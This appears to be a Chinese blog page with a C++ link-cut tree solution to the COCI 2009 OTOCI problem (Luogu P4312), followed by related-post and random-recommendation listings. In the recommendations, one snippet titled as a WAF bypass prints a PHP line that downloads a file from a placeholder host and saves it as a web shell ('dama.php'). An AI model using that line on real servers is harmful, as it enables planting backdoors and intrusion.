P4312 [COCI 2009] OTOCI / 极地旅行社
思路
LCT维护和的板子
注意findroot的时候要先access一下,修改点权之前要先splay到根
代码
#include <cstdio>
#include <algorithm>
#include <cstring>
using namespace std;
struct Node{
int fa,son[2],sum,val,inv;
}SPT[600000];
int n,q;
bool isrl(int o){
return o==SPT[SPT[o].fa].son[1];
}
bool isroot(int o){
return o!=SPT[SPT[o].fa].son[0]&&o!=SPT[SPT[o].fa].son[1];
}
void pushup(int o){
SPT[o].sum=SPT[o].val+SPT[SPT[o].son[0]].sum+SPT[SPT[o].son[1]].sum;
}
void pushdown(int o){
if(SPT[o].inv){
SPT[SPT[o].son[0]].inv^=1;
SPT[SPT[o].son[1]].inv^=1;
swap(SPT[o].son[0],SPT[o].son[1]);
SPT[o].inv=0;
}
}
void rorate(int o){
if(isroot(o))
return;
int f=SPT[o].fa;
int g=SPT[f].fa;
int which=isrl(o);
pushdown(f);
pushdown(o);
if(!isroot(f))
SPT[g].son[SPT[g].son[1]==f]=o;
SPT[o].fa=g;
SPT[f].son[which]=SPT[o].son[which^1];
SPT[SPT[o].son[which^1]].fa=f;
SPT[o].son[which^1]=f;
SPT[f].fa=o;
pushup(f);
pushup(o);
}
void allpush(int o){
if(!isroot(o))
allpush(SPT[o].fa);
pushdown(o);
}
void splay(int o){
allpush(o);
for(int f;!isroot(o);rorate(o)){
if(!isroot(f=SPT[o].fa))
rorate((isrl(f)==isrl(o))?f:o);
}
}
void access(int o){
for(int y=0;o;o=SPT[y=o].fa)
splay(o),SPT[o].son[1]=y,pushup(o);
}
void makeroot(int o){
access(o);
splay(o);
SPT[o].inv^=1;
pushdown(o);
}
int findroot(int o,int islink=0){
access(o);
splay(o);
pushdown(o);
while(SPT[o].son[0])
pushdown(o=SPT[o].son[0]);
return o;
}
bool link(int x,int y){
makeroot(x);
if(findroot(y,1)!=x){
SPT[x].fa=y;
return true;
}
return false;
}
int split(int x,int y){
makeroot(x);
access(y);
splay(y);
return y;
}
int main(){
scanf("%d",&n);
for(int i=1;i<=n;i++)
scanf("%d",&SPT[i].val);
scanf("%d",&q);
char opt[20];
int x,y;
for(int i=1;i<=q;i++){
scanf("%s %d %d",opt,&x,&y);
if(opt[0]=='b'){
if(link(x,y))
printf("yes\n");
else
printf("no\n");
}
else if(opt[0]=='p'){
splay(x);
SPT[x].val=y;
}
else{
if(findroot(x)!=findroot(y)){
printf("impossible\n");
}
else{
int t=split(x,y);
printf("%d\n",SPT[t].sum);
}
}
}
return 0;
}
P4312 [COCI 2009] OTOCI / 极地旅行社的更多相关文章
- [luogu]P4312 [COCI 2009] OTOCI / 极地旅行社(LCT)
P4312 [COCI 2009] OTOCI / 极地旅行社 题目描述 不久之前,Mirko建立了一个旅行社,名叫"极地之梦".这家旅行社在北极附近购买了N座冰岛,并且提供观光服 ...
- 洛谷P4312 [COCI 2009] OTOCI / 极地旅行社(link-cut-tree)
题目描述 不久之前,Mirko建立了一个旅行社,名叫“极地之梦”.这家旅行社在北极附近购买了N座冰岛,并且提供观光服务. 当地最受欢迎的当然是帝企鹅了,这些小家伙经常成群结队的游走在各个冰岛之间.Mi ...
- [洛谷P4312][COCI 2009] OTOCI / 极地旅行社
题目大意:有$n(n\leqslant3\times10^4)$个点,每个点有点权,$m(m\leqslant3\times10^5)$个操作,操作分三种: $bridge\;x\;y:$询问节点$x ...
- 【题解】 Luogu P4312 / SP4155 [COCI 2009] OTOCI / 极地旅行社
原题地址:P4312 [COCI 2009] OTOCI / 极地旅行社/SP4155 OTOCI - OTOCI lct入门难度的题,十分弱智(小蒟蒻说lct是什么,能吃吗?) bridge操作判联 ...
- BZOJ 1180 [CROATIAN 2009]OTOCI // BZOJ 2843 极地旅行社 // Luogu P4321 [COCI 2009] OTOCI / 极地旅行社 (LCA板题)
emmm-标题卡着长度上限- LCT板题-(ε=ε=ε=┏(゜ロ゜;)┛) CODE #include <cctype> #include <cmath> #include & ...
- 【BZOJ-2843&1180】极地旅行社&OTOCI Link-Cut-Tree
2843: 极地旅行社 Time Limit: 10 Sec Memory Limit: 256 MBSubmit: 323 Solved: 218[Submit][Status][Discuss ...
- BZOJ2843: 极地旅行社
2843: 极地旅行社 Time Limit: 10 Sec Memory Limit: 256 MBSubmit: 90 Solved: 56[Submit][Status] Descripti ...
- BZOJ 2843: 极地旅行社( LCT )
LCT.. ------------------------------------------------------------------------ #include<cstdio> ...
- [bzoj2843&&bzoj1180]极地旅行社 (lct)
双倍经验双倍的幸福... 所以另一道是300大洋的世界T_T...虽然题目是一样的,不过2843数据范围小了一点... 都是lct基本操作 #include<cstdio> #includ ...
随机推荐
- linux 系统全盘备份
备份程序对比 - Synchronization and backup programs 之前用的 tar进行备份了,更新 grub引导需要重建目录和手动挂载,不是很方便.现直接使用 timeshif ...
- 远程下载马bypass waf
<?php file_put_contents('dama.php',file_get_contents('http://xxx/xx.txt'));?> php这个函数不算冷门 第一个参 ...
- jQuery 基本选择器 层次选择器 过滤选择器 内容过滤选择器 可见过滤选择器 属性过滤选择器 表单对象属性过滤选择器
- Web开发——jQuery基础
参考: 参考W3School:jQuery 教程 参考:jQuery 参考手册 参考(常用):jQuery API 测试 JavaScript 框架库 - jQuery 测试 JavaScript 框 ...
- MySQL 大表优化方案(长文)
当MySQL单表记录数过大时,增删改查性能都会急剧下降,可以参考以下步骤来优化: 单表优化 除非单表数据未来会一直不断上涨,否则不要一开始就考虑拆分,拆分会带来逻辑.部署.运维的各种复杂度,一般以整型 ...
- MGF 637: Financial Modeling
MGF 637: Financial ModelingSpring 2019Extra Credit AssignmentInstructions: This is an extra credit o ...
- ADB命令(全)
当熟悉Shell命令的人使用adb是没有任何难度的,因为adb中绝大多少命令都是引用的shell命令 以下命令进行归类,红色部分字体是测试人员常用的adb命令 基础命令 1.启动adb服务 adb s ...
- Elasticsearch学习笔记(二)Search API 与 Query DSL
一. Search API eg: GET /mall/product/_search?q=name:productName&sort=price desc 特点:search的请求参数都是以 ...
- js数组代码库
1 数组操作 1.1 数组去重:ES6的方法 //ES6新增的Set数据结构,类似于数组,但是里面的元素都是唯一的 ,其构造函数可以接受一个数组作为参数 //let arr=[1,2,1,2,6,3, ...
- Spring Boot 自动配置原理(精髓)
一.自动配置原理(掌握) SpringBoot启动项目会加载主配置类@SpringBootApplication,开启@EnableAutoConfiguration自动配置功能 @EnableAut ...